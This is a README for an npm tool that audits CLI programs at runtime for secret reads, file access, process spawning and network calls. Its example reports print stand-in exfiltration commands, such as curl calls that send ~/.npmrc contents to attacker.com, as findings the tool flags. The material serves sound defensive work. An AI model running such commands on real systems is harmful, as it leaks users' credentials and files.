cli-sec-audit/README.md

Runtime security profiler for CLI tools - audit env vars, file access, and process spawning before running unknown code

# cli-sec-audit 🛡️

**Stop running code blind. Know what a CLI does before it touches your secrets.**

[![npm version](https://img.shields.io/npm/v/cli-sec-audit.svg)](https://www.npmjs.com/package/cli-sec-audit)
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](https://opensource.org/licenses/MIT)

Runtime security profiler for CLI tools. Audit environment variables, file access, and process spawning—before running unknown code.

## 😱 The Problem

```bash
# You casually run a new CLI tool...
$ npx some-cool-tool

# What you don't see:
✓ Reading ~/.aws/credentials
✓ Accessing process.env.OPENAI_API_KEY
✓ Writing to /tmp/exfiltrated_data.log
✓ Spawning: curl http://malicious.com/steal
```

**Every npx command runs with YOUR permissions.** Your secrets. Your files. Your shell access.

## ✨ The Solution

```bash
# Audit BEFORE you run
$ npx cli-sec-audit check npx suspicious-package

═══════════════════════════════════════════════════════════
           CLI SECURITY AUDIT REPORT
═══════════════════════════════════════════════════════════

Security Risk Level: CRITICAL
Risk Score: 75/100

⚠️  SENSITIVE ACCESS DETECTED:

┌──────────────┬────────────────────────┬─────────────────┬──────────┐
│ Type         │ Access                 │ Description     │ Risk     │
├──────────────┼────────────────────────┼─────────────────┼──────────┤
│ ENV          │ OPENAI_API_KEY         │ API key env var │ HIGH     │
│ FILE READ    │ ~/.aws/credentials     │ AWS credentials │ CRITICAL │
│ FILE WRITE   │ /tmp/steal.log         │ Outside working │ HIGH     │
│ PROCESS SPAWN│ exec: curl malicious...│ Spawning shell  │ MEDIUM   │
└──────────────┴────────────────────────┴─────────────────┴──────────┘

💡 Recommendations:

  ⛔ DO NOT USE THIS PACKAGE - High security risk detected
  • Package accesses sensitive data
  • Review the source code before proceeding
```

**Now you know.** Don't run it.

## 🚀 Quick Start

```bash
# No install needed - audit any command
npx cli-sec-audit check npx <package-name>

# Or install globally
npm install -g cli-sec-audit
cli-sec-audit check npx some-tool
```

## 💡 Features

### ✅ Environment Variable Snooping Detection
Tracks every `process.env` access - catches secret stealers

```bash
cli-sec-audit check node my-script.js

📋 Environment Variables Accessed (5):
  Sensitive:
    • OPENAI_API_KEY
    • AWS_SECRET_ACCESS_KEY
  Standard:
    • HOME, PATH, NODE_ENV
```

### ✅ File I/O Tracking
Monitors all file reads/writes - flags access outside working directory

```bash
⚠️  SENSITIVE ACCESS DETECTED:
  FILE READ: ~/.ssh/id_rsa (SSH keys)
  FILE WRITE: /tmp/data.txt (Outside working dir)
```

### ✅ Process Spawning Detection
Catches shell command execution and subprocess spawning

```bash
⚡ Process Spawning Detected (2):
  • exec: curl http://attacker.com/steal
  • spawn: sh -c "cat ~/.bash_history"
```

### ✅ Network Request Monitoring **NEW v1.1**
Detects HTTP/HTTPS requests to external services

```bash
🌐 Network Requests (1):
  • GET https://api.attacker.com/steal
```

### ✅ NPM Package Scanning **NEW v1.1**
Audit npm packages before installing

```bash
cli-sec-audit npm suspicious-package

🔍 Scanning npm package: suspicious-package...
Security Risk Level: CRITICAL
```

### ✅ CI/CD Integration **NEW v1.1**
Set risk thresholds for automated pipelines

```bash
# Fail build if risk > MEDIUM
cli-sec-audit check node script.js --max-risk=MEDIUM
echo $? # Exit code 1 if risk exceeds threshold
```

### ✅ JSON Export **NEW v1.1**
Machine-readable output for automation

```bash
cli-sec-audit check node script.js --json
{
  "riskLevel": "HIGH",
  "riskScore": 75,
  "sensitiveAccess": [...]
}
```

### ✅ Instant Risk Score
Immediate, digestible security assessment

```bash
Security Risk Level: CRITICAL
Risk Score: 75/100

⛔ DO NOT USE THIS PACKAGE
```

## 📖 Usage Examples

### Audit an npx package before running

```bash
# Check if a package is safe before using it
cli-sec-audit check npx suspicious-tool

# Get simple one-line output
cli-sec-audit check npx tool-name --simple
> HIGH | Score: 65 | Sensitive: 3

# JSON output for automation
cli-sec-audit check npx tool-name --json
```

### Audit a local script

```bash
cli-sec-audit check node my-script.js
cli-sec-audit check python analyze.py
```

### CI/CD Integration

```yaml
# GitHub Actions - block PRs with risky dependencies
- name: Audit CLI tools
  run: |
    npx cli-sec-audit check npx new-dependency || exit 1
```

## 🎯 Real-World Examples

### Example 1: Catching API Key Theft

```bash
$ cli-sec-audit check npx malicious-logger

⚠️  SENSITIVE ACCESS DETECTED:
  ENV: STRIPE_SECRET_KEY (API key environment variable)
  FILE WRITE: /tmp/keys.txt (Writing outside working directory)

Risk Score: 50/100 - HIGH RISK
```

### Example 2: Safe Package

```bash
$ cli-sec-audit check npx cowsay "hello"

Security Risk Level: LOW
Risk Score: 5/100

✓ Package appears safe
  • No critical security concerns detected
  • Standard package behavior observed
```

### Example 3: Shell Command Injection

```bash
$ cli-sec-audit check npx suspicious-cli

⚠️  PROCESS SPAWN:
  exec: curl http://attacker.com/upload?data=$(cat ~/.npmrc)

Risk Score: 85/100 - CRITICAL
⛔ DO NOT USE THIS PACKAGE
```

## 🔥 Why This Tool Exists

**Supply chain attacks are real.** Even trusted packages can be compromised.

- ✅ Audit BEFORE running unknown code
- ✅ Catch secret exfiltration attempts
- ✅ Detect lateral file access (SSH keys, AWS creds)
- ✅ Flag shell command injection
- ✅ No more "how did they get my API key?!" moments

## 🛡️ What Gets Audited

| Security Check | Description |
|----------------|-------------|
| **Env Var Access** | Every `process.env.XYZ` read |
| **File Reads** | All file system reads (especially ~/.ssh, ~/.aws) |
| **File Writes** | All file writes outside working directory |
| **Process Spawning** | Shell commands (exec, spawn, execSync) |
| **Sensitive Patterns** | Auto-flags `.env`, `credentials`, `token`, `secret`, `password` |

## 🎨 Output Modes

### Default: Beautiful CLI Report
Full security report with color-coded risks and recommendations

### --simple: One-Line Summary
```
HIGH | Score: 65 | Sensitive: 3
```

### --json: Machine-Readable
```json
{
  "riskLevel": "HIGH",
  "riskScore": 65,
  "sensitiveAccess": [...],
  "envAccess": [...],
  "fileReads": [...],
  "fileWrites": [...],
  "processSpawns": [...]
}
```

## ⚠️ Limitations

- **Not a sandbox**: Does not prevent malicious actions, only reports them
- **Node.js only**: Currently works for Node.js CLI tools
- **Best effort**: Sophisticated malware may evade detection
- **Development tool**: For pre-execution auditing, not production monitoring

## 🤝 Contributing

Found a security pattern we should catch? Open an issue or PR!

- Additional sensitive file patterns
- Better risk scoring
- More runtime instrumentation
- Support for other languages (Python, Ruby, etc.)

## 📄 License

MIT © Daniel Shashko

---

## 👤 Author

**Daniel Shashko**
- GitHub: [@danishashko](https://github.com/danishashko)
- LinkedIn: [daniel-shashko](https://linkedin.com/in/daniel-shashko)
- npm: [@danishashko](https://www.npmjs.com/~danishashko)

---

## 💬 Security First

**Audit before you trust. Your secrets depend on it.** 🛡️

*This tool helps detect suspicious behavior but is not a guarantee of safety. Always review source code of packages you use.*